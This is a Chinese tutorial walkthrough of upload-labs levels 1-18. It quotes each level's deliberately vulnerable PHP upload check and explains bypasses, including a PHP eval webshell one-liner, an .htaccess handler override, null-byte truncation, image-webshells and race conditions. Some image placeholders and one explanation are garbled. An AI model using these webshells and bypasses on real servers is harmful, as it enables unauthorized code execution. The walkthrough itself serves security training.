文件上传漏洞——upload-labs 1-19 (详解)

upload-labs-1 删除 js 进行绕过

上传图片,发现上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tuVOI5A3-1645265775779)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201192751583.png)]

上传 shell 发现:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WDV118sN-1645265775780)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201192946481.png)]

发现是白名单,所以由前面我们知道,极有可能在前端存在过滤,我们检查一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RPcezGyJ-1645265775781)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201193848613.png)]

发现 checkFile() 起到了检查过滤的效果,我们将其删去并提交 发现:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8Byan9ZH-1645265775781)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201194030034.png)]

然后用中国以蚁剑 进行链接 发现成功

发现成功

同时我们发现仅仅在前端进行过滤是远远不够的,我们可以轻易的删去,所以除了前端,后端也必须进行校验

如果我们在使用蚁剑发现了返回值为空说明一句话木马语法错误,如果我们发现返回值是一串乱码 则是链接地址填写错误

正确的 shell 写法:

<?php phpinfo(); @eval($_POST['shell']); ?>

upload-labs-2(MIME验证)

我们先看一下它的源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))     //重点!!! 
        {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

发现:

  if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';

这时候我们就会产生疑问:浏览器是如何获得我们上传文件的类型呢

这里就涉及到MIME类型(多用途互联网邮件扩展类型)

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

它是一个互联网标准,扩展了电子邮件标准,使其能够支持:

ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。

常见类型:

文件上传multipart/from-data
超文本标记语言文本 .text/html
xml文档 .xmltext/xml
XHTML文档 .xhtmlapplication/xhtml+xml
jpg图片格式image/jpeg
RTF文本 .rtfapplication/rtf
PDF文档 .pdfapplication/pdf
Microsoft Word文件.wordapplication/msword

MIME用法:

客户端用法:

  1. 告诉服务端,我上传的文件类型
  2. 告诉服务端,我可以接受的文件类型

服务端使用:

  • 告诉客户端,我响应的数据类型

所以在做这道题的时候要想变法 将其content-type 改掉

所以我们使用 burp suite 进行抓包改包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6mbrLFQC-1645265775783)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201205601755.png)]

找到将 content-type 其改掉
在这里插入图片描述

改为 image/jpeg;

点击发送,

在这里插入图片描述

upload-labs-3 等价扩展名

我们按照上一关的方法利用 burpsuite 来进行改包 发现失败:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fu8K6KCH-1645265775784)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220202181251169.png)]

我们发现题中说不允许上传 .asp,.aspx,.php,.jsp 后缀文件

那么我们就想能否在更改后缀名的同时不改变文件性质

很巧的是:

在文件中存在等价扩展名

语言等价扩展名
aspasa, cer, cdx
aspxashx, asmx, ascx
phpphp2 php3 php4 phps phtml
jspjspx jspf

所以这道题的解题思路就是 改变我们一句话木马的后缀名 从而达到绕过的目的

当然也可以在 burp suite上进行更改:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D6e77yDt-1645265775784)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220202193120037.png)]

将 后缀名 .php 改为 .php2 即可上传成功
在这里插入图片描述

做完之后我们可以查看源码进行更加深入的了解:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现本题使用的是黑名单,禁止我们使用.asp,.aspx,.php,.jsp这些后缀

并且 我们仔细观察源代码之后,

于本题无关

我们就有了另一些做题的思路(不适用本题,建议在做的时候进行尝试进行判断):

   $file_name = deldot($file_name);//删除文件名末尾的点

上传 shell.php.

 $file_ext = strtolower($file_ext); //转换为小写

或者上传 shell.PHP (大小写绕过)

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

上传 shell.php::$DATA

 $file_ext = trim($file_ext); //收尾去空

上传 shell.php (后跟空格)

upload-labs-4 .htaccess绕过

我们先进行按照第三题的做法进行尝试,发现使用 .php3 不能将我们的木马上传进去,

之后进行源码查看,发现他的源代码很全面

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

确实我们之前的方法已经不能使用了。

所以 我们可以尝试将我们 一句话木马 的后缀名改为 .jpeg 看能否将我们的东西上传上去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gR5AYWtQ-1645265775786)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220204184915859.png)]

发现上传成功!

之后我们使用中国蚁剑进行链接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1eNumdft-1645265775787)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220204185113745.png)]

发现链接失败

因为我们的 扩展名 是图片的后缀名 我们的服务器就会以处理图片的形式来处理图片

那我们该怎么办呢?

.htaccess——超文本入口

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

所以我们可以尝试使用 这个 超文本入口 来达到这个目的

.htaccess 文件内容:

<FilesMatch "shell.jpg">                      //如果匹配到名为 shell.jpg 的文件 就执行该文件
       SetHandler  application/x-httpd-php             //把文件当成php的代码来解析
</FilesMatch>       

现在我们将该文件上传

然后使用 蚁剑 进行链接

然后我们发现链接失败 发现是 phpstudy集成环境中 php 的问题

因为在 小皮面板中 php 版本 是nts 意思是即非线程安全,不提供数据访问保护 不支持使用 .htaccess

upload-labs-5 大小写绕过

我们进行常规测试:

  • 检查js

  • 上传 木马 发现失败

  • 之后使用MIME绕过发现失败

  • 然后检查黑白名单

    • 使用等价扩展名 发现失败
    • 然后想到我们 labs-3 提到的 几种绕过方法 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在大小写绕过这里可以让我们的木马上传

文件上传成功!

同时我们查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

观察过后,我们发现在黑名单当中存在 .htaccess 所以上一关当中的 绕过也不可以使用

upload-labs-6——空格绕过

我们进行常规测试:

  • 检查js

  • 上传 木马 发现失败

  • 之后使用MIME绕过发现失败

  • 然后检查黑白名单

    • 使用等价扩展名 发现失败
    • 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在空格绕过这里可以让我们的木马上传

    在这一关中我们无法将 后缀名后面添加空格,所以建议使用burpsuite来进行抓包改包

这一关的源码和上一关相似 也仅仅可以使用 空格绕过(以我们目前学过的方法来说)

upload-labs-7 ——点绕过

经过常规测试后,我们发现本道题的绕过方式是:点绕过

同样,我们无法直接将 shell脚本的后缀直接改为 .php.

我们在BP中更改。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现这关的源代码有一句是我们不清楚的

$file_ext = strrchr($file_name, '.');

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

语法

strrchr(string,char)
参数描述
string必需。规定要搜索的字符串。
char必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。

所以如果我们采用 .php. 那么我们返回的就是 . 所以我们能够成功绕过黑名单

upload-labs-8——::$DATA绕过

常规测试中,我们发现本题可以通过 添加字符串绕过

换句话说本题没有对后缀名进行去 ::DATA 处理

php在window的时候如果文件名+"::DATA"会把:😄 A T A 之 后 的 数 据 当 成 文 件 流 处 理 , **不 会 检 测 后 缀 名 **. 且保持 ::DATA之前的文件名 他的目的就是不检查后缀名。ps:只能是Windows系统,并且只能时php文件

同时我们只能在burp suite中进行抓包改包 在其 后缀名 之后添加**::$DATA**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yaHS6Rfl-1645265775787)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220205095743053.png)]

之后进行放包 即可发现文件上传成功!


小总结:

我们现在已经学会了:

  1. 删除 js 进行绕过

  2. MIME类型绕过——bp抓包改包

  3. 黑名单不够全面——等价扩展名

  4. .htaccess绕过

  5. 大小写绕过

  6. ::$DATA绕过

  7. 去除空格绕过

  8. 点绕过

关于文件后缀名改为 PHP php. php后跟空格 php后跟::$DATA绕过 还能以php格式使用的原因解释

因为windows特性,会自动去掉后缀名中最后的”.” 后面跟的空格也会自动屏蔽 而PHP 本身也自动等价于 php

在php+windows的情况下:如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。


upload-labs-9

好了,我们用上述方法都尝试了一遍,发现全都不能使用,是时候作弊了查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }

        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

我们发现第九关与第七关的源代码非常相似,仅仅是多了一句话

  $file_name = deldot($file_name);//删除文件名末尾的点

这就很尴尬了,第七关我们用的方法现在已经不能使用了,所以我们要尝试在文件末尾点两次点 中间用空格隔开

来!,我们尝试一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CfvoJ8bq-1645265775787)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220205104606701.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nvj2S02v-1645265775788)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220205104526713.png)]

发现上传成功!

upload-labs-10

本关,我们尝试使用前面所有的方法发现都是错误的,查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现有这么一个函数: str_ireplace 它的作用是寻找文件名中存在的黑名单字符,如果有,就将它替换成空字符

我们如果上传 shell.php 那么上传后就会变成 shell.

所以,我们的办法是文件后缀名在php中间在夹上一个php,变成shell.pphphp

上传,即可成功

upload-labs-11 get 00截断

我们直接查看源代码:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}


查看源代码,意识到他是一个白名单,我们前面学习的方法是用不了的,

在本关的核心突破口是:

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

相比于前几关的:

$_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name

我们发现本关的 save_path 是我们可控的,换句话说在本关上传地址是可以被我们所掌控的,

我们可以尝试在本关 使用 %00截断 将后面的语句给截断

  • 在这里我们可以将 %00 看作sql中的 注释符 将后面的php函数注释掉
  • %00本意为:0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

所以在上面的save_path中我们将其改为

![![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YO1vg3oc-1645265775788)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220206104117990.png)]](https://img-blog.csdnimg.cn/2b650c4ea6ce4eb195a6fd20fe7feee1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAaGNqdG4=,size_20,color_FFFFFF,t_70,g
_se,x_16)

同时,本关为白名单,为了上传成功我们将后缀名改为 .jpg

上传后发现失败

因为在本关存在magic_quotes_gpc 也就是宽字节注入 前面的 / 使我们后面更改的部分以字符的形式理解,没有以代码的形式理解

所以在做本关的时候我们要将其关闭

之后上传,发现成功 文件中出现 .php

upload-labs-12 post 00 截断

本关和上一关的不同是,本关采用post 00截断

POST不会对里面的数据自动解码,需要在Hex中修改。

所以在这一关我们有两种方法进行00截断:

  1. 在hex中修改。先改为 shell.php-(后面的符号为任意,目的是为了便于在 hex 中修改 )[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传![(img-FEJHZxER-1645265775788)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220206114228728.png)](https://img-blog.csdnimg.cn/454e372745f54f22a1464cdb37f3e6c0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAaGNqdG4=,size_20,color_FFFFFF,t_70,g_se,x_16)

  2. 直接点击右键[

在这里插入图片描述

之后进行进行放包,上传成功!

upload-labs-13 图片马

本题一上来就要求我们上传图片马

我们先了解如何制作图片马:

copy 二次元.jpg/b + shell.php/a photo_shell.php     

-b是指以二进制的方式合并复制文件,用于图像影音类文件
-a是指以ascii方式合并复制文件,用于文本类文件

上传即可成功


upload-labs-14 getimagesize()-图片马

我们先查看本题的源码:

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

发现;全新的函数:getimagesize 将图片转化为16进制识别

getimagesize — 取得图像大小

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

stripos( t y p e s , types, types,ext)

stripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

image_type_to_extension - 获取图片后缀

所以getimagesize的作用是判断文件类型

和上一关一样上传图片马

upload-labs-15 exif_imagetype()-图片马

我先了解一下exif_imagetype()作用:

exif_imagetype  — 判断一个图像的类型

这里用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13

如何开启PHP exif扩展方法,主要在于对php.ini文件的修改

服务器配置说明:

1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。

3.找到[exif]段,把下面语句的分号去掉。

;exif.encode_unicode = ISO-8859-15
;exif.decode_unicode_motorola = UCS-2BE
;exif.decode_unicode_intel = UCS-2LE
;exif.encode_jis =
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS重启php

upload-labs-16 二次渲染绕过——直接使用图片马上传即可

二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

我们先查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

具体查看:文章

upload-labs-17 条件竞争

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}


这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

条件竞争:条件竞争漏洞是一种服务器端的漏洞,由于服务器在处理不同请求时时并发进行的,因此处理不当会或者相关操作顺序设计的不合理时,将导致漏洞产生。

首先了解一下$_file函数,

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 “name”, “type”, “size”, “tmp_name” 或 “error”。就像这样:

$_FILES["file"]["name"] - 被上传文件的名称
$_FILES["file"]["type"] - 被上传文件的类型
$_FILES["file"]["size"] - 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] - 由文件上传导致的错误代码

先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除修改名称后的文件,这里可以通过条件竞争的方式在unlink之前,访问webshell。

这里是这样操作的,先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下(也就是在burp suite 爆破的时候进行shell.php的访问),就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护,从而进行访问 shell.php。

upload-labs-18 条件竞争

源码:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
